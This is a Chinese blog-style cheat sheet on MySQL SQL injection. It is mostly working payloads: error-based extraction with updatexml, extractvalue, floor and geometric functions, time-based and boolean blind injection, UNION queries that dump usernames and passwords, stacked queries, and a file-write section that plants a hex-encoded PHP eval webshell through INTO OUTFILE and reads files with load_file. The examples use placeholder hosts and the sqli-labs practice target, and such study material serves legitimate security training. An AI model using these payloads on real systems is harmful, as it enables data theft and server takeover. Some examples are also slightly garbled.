sql注入方式及知识点总结(超详细)

目录

0x01 手工注入

常用查询信息

 常用函数

sql注入常用知识

sql注入类型及注入方法

1、sql注入的几种主要的类型及注入语句

1.1、报错注入

十种常见的报错注入方式

 floor函数注入

 extractvalue函数注入

 updatexml函数注入

 geometrycollection函数注入

 multipoint函数注入

polygon函数注入 

 multipolygon函数注入

 linestring函数注入

 exp函数注入

 1.2 POST报错注入

 1.3 POST错误的Uagent字段/Referer字段数据头注入

2. 基于时间的注入(Time-based Injection):不管对错页面都是You are in..

2.1 sleep(x)

 2.2 benchmark()

2.3 笛卡尔积

2a. 基于GET的时间盲注

2b.  POST 布尔型时间注入

3. 基于错误类型的注入(Error-based Injection):

3a.  post字符型注入

4. 盲注(Blind Injection):

5. 堆叠查询注入(Stacked Query Injection):

6.文件写入注入

7. 基于布尔逻辑的注入(Boolean-based Injection)

0x02 总结


0x01 手工注入

常用查询信息

  • database() # 在用的数据库名

  • user() # 用户信息

  • version() # 数据库版本信息

  • @@basedir # 数据库安装路径

  • @@version_compile_os # 操作系统版本

  • @@datadir#数据库文件地址

  • @@hostname#系统主机名

  • @@port#数据库对应的端口

 eg:查看php版本及数据库名称:

http://example/example.php?id=1' and 1=2 union select 1,version(),database() --+

 常用函数

  • ascii() 函数,返回字符ascii码值

  • length() 函数,返回字符串的长度

  • left() 函数,返回从左至右截取固定长度的字符串

  • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串

  • length:截取长度

sql注入常用知识

1.information_schema:表示所有信息,包括库、表、列

2.information_schema.tables:记录所有表名信息的表

3.information_schema.columns:记录所有列名信息的表

4.table_schema:数据库的名称

5.table_name:表名

6.column_name:列名

7.group_concat():显示所有查询到的数据

sql注入类型及注入方法

1、sql注入的几种主要的类型及注入语句

1.1、报错注入
十种常见的报错注入方式

报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:

# 修改select user() 字段 获取不同的信息

# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

# 5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

# 6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

# 7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

# 8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

# 9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

# 10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

 floor函数注入

常见注入语句:

http://example/example.php?id=-1' union select 1,count(),concat((floor(rand(0)2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23

 解析:

  • 只能用concat连接 ,group_concat不行,且每次只能显示一条数据

  • 要让上述的报错实现,数据库至少要3条数据

  • count():查询数量

  • rand():产生0~1间的随机数

  • floor():向下取整

  • group by:按指定分类

 extractvalue函数注入

注意:

  • MySQL 5.1.5版本以上才支持该函数;

  • 返回的数据限制为32位;

函数语法:

  • EXTRACTVALUE (XML_document, XPath_string);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称

  • 第二个参数:XPath_string (Xpath格式的字符串)

  • 作用:从目标XML中返回包含所查询值的字符串

写法:

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

运用:

http://example/example.php?id=-1 and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+其中ox7e为~

 updatexml函数注入

注意:

  • MySQL 5.1.5版本以上才支持该函数

  • 返回的数据限制为32位

语法:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

写法:

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

运用:

http://example/example.php?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+

 geometrycollection函数注入

运用:

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

 multipoint函数注入

运用:

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

polygon函数注入 

运用:

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

 multipolygon函数注入

运用:

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

 linestring函数注入

运用:

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

 exp函数注入

运用:

select * from test where id=1 and exp(~(select * from(select user())a));

 1.2 POST报错注入

1.2.1 首先判断注入点,判断通过什么符号闭合

1.2.2 然后查询信息

uname=') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit
或者
uname=admin&passwd=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit

 1.3 POST错误的Uagent字段/Referer字段数据头注入

1.3.1 判断注入点

  • 页面显示yourip应该是请求头的参数参入

  • 同时post传入并未有该参数

  • 用admin登录成功后发现有User-agents显示

1.3.2 构造payload

User-Agent: ' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

2. 基于时间的注入(Time-based Injection):不管对错页面都是You are in..

概念:

基于时间的注入可以利用延迟的 SQL 查询来判断数据库的回应。攻击者可以向数据库发送包含时间计算的语句并在执行完毕之前等待一段时间,然后再通过响应时间来判断是否成功执行。

常见时间盲注:

2.1 sleep(x)

id=' or sleep(3)%23

id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23

查询结果正确,则延迟3秒(通过F12->网络查看),错误则无延时。

 2.2 benchmark()

通过大量运算来模拟延时:

id=' or benchmark(10000000,sha(1))%23

id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23

本地测试这个值大约可延时3秒:  

2.3 笛卡尔积

计算笛卡尔积也是通过大量运算模拟延时:

select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C

select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)

 笛卡尔积延时大约也是3秒

2a. 基于GET的时间盲注

2a.1 判断注入点

添加‘或者/等符号页面无变化;

猜测不管语法对错页面都没有变化

尝试使用sleep看是否执行

 2a.2 构造payload

http://example/example.php?id=1'and if((length(database())=8),sleep(5),1)--+(如果成功会延时5秒可以通过burpsuite查看)

2b.  POST 布尔型时间注入

判断:

使用了\ ’ 等各种姿势网页始终没有变化

判断可能是时间盲注

直接用uname=admin' and sleep(10)#&passwd=1&submit=Submit 发现确实是时间盲注

3. 基于错误类型的注入(Error-based Injection):

3.1.1 判断注入点

加上单引号可能会报错

http://example/example.php?id=1'(常见注入点:‘【一个单引号】''【两个单引号】"【一个双引号】’)【单引号加括号】”)【双引号加括号】'))【单引号加双括号】)下文id=1后的’需要根据自己判断的注入点而有所改变

需要加上注释符

http://example/example.php?id=1'--+

可能还需要加上and 1=1页面才会显示正常

http://example/example.php?id=1' and 1=1--+

注释方式

  • # 号注释

  • %23 注释(#的URL编码)

  • --+ 注释(--符号表示SQL语句中的单行注释标记,即双减号后的所有字符都被视为注释,不属于SQL语句中的一部分。+号用于在MySQL注释中添加空格,以避免该注释与下一个语句的字符合并。)

常用方法:

a' OR 1 = 1--+
a') OR 1 = 1--+
a')) OR 1 = 1--+
a" OR 1 = 1--+
a") OR 1 = 1--+
a")) OR 1 = 1--+

 3.1.2 判断字段数(使用order by)

http://example/example.php?id=1' order by 3--+若正常

http://example/example.php?id=1' order by 4--+页面显示错误

可以得出字段数为3  

3.1.3 执行注入payload  

 http://example/example.php?id=-1' union select 1,2,3--+

 页面会显示2,3

3.1.4 查询基本信息

查看表名称

group_concat函数:将查询到的多行结果连接成字符串

http://example/example.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

 查看列名 :

http://example/example.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+

 查询数据库数据:

 http://example/example.php?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

3a.  post字符型注入

特征:显示输出框,说明是POST提交方式的注入。

3a.1 判断注入点

先在输入框中输入符号,判断是什么符号的字符型注入;然后依据GET注入的方式换为POST提交

 3a.2 获取基本信息

 查看字段数

uname=admin' order by 2#&passwd=&submit=Submit 正常uname=admin' order by 3#&passwd=&submit=Submit 不正常

  查询数据库所有数据

 uname=-admin' union select group_concat(username,password),2 from users#&passwd=&submit=Submit

4. 盲注(Blind Injection):

概念:

盲注是指在不返回结果的情况下执行注入攻击。这种类型的攻击通常会利用时间延迟或错误消息来在用户或应用程序不知情的情况下收集信息。

5. 堆叠查询注入(Stacked Query Injection):

概念:

堆叠查询注入攻击利用支持多个查询的组合语句(如 MySQL 中的 UNION 语句)执行多个查询并收集结果。这也是一种非常常见的注入类型。

注意:在select被过滤(/i参数过滤)时可以使用堆叠注入代替

5.1 查询所有数据库

 -1'; show databases; # 代替-1' union select 1,databases #

 5.2 看见所有数据库后,再看某一个具体的数据库的所有表

 -1';use xxx(数据库);show tables;#

5.3 看见表后,查看表中可疑字段  

 -1';use xxx(数据库);show columns from `xxx(表)`;#   注:当纯数字字符串是表名的时候需要加反引号`                

 5.4 字段查询(handler查询法)

 -1';use xxx(数据库);handler `xxx`(字段名) open as p;handler p read first;#

6.文件写入注入

6.1 判断注入点(具体查看3.基于错误类型的注入)

6.2 写入文件配置(使用条件)  

secure-file-priv为空具体查看0x003 利用outfile写文件写webshell  

6.3写入敏感文件  

写入一句话木马  

 http://example/example.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e(一句话木马编码),3 into outfile "E:\xxx\shell.php"--+

 写入phpinfo

 http://example/example.php?id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:xxx\shell.php--+

写入时的注意事项

  • 写入的内容需要用hex转码,以防拦截

  • 写入的前提需要知道物理文件路径

  • 写入的前提是有权限写入,或者有配置写入的权限

读取敏感文件(前提要有页面输出 )

http://example/example.php?id=-1') union select 1,load_file('e:\mm.php'),3--+ 

7. 基于布尔逻辑的注入(Boolean-based Injection)

7.1概念:

基于布尔逻辑的注入尝试通过构造适当的逻辑条件来判断是否存在已知的漏洞。这种类型的攻击通常需要攻击者通过改变 SQL 语句中的值或操作符以实现条件语句的成立或不成立,从而获取目标数据。

7.2 注入方法及步骤  

7.2.1 判断注入点;  

7.2.2 构造payload(利用二分法构造)来判断布尔值来确定查询的结果  

http://example/example.php?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+( substr() 函数取得当前数据库名称的第一个字符,并使用 ascii() 函数将其转换为 ASCII 码值(115是由字符's'的 ASCII码值推导出来的)。)

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (length(database())) = 8 --+ #数库名长度=8

 常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。

 返回值只有True或False的类型

如果查询结果不为空,则返回True(或者是Success之类的),否则返回False

这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确

 例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+

 Orderby盲注

order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:  

例:order by rand(database()='pdotest') 

返回了True的排序,说明database()=’pdotest’是正确的值  

0x02 总结

若感兴趣可以查看博主后续文章。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值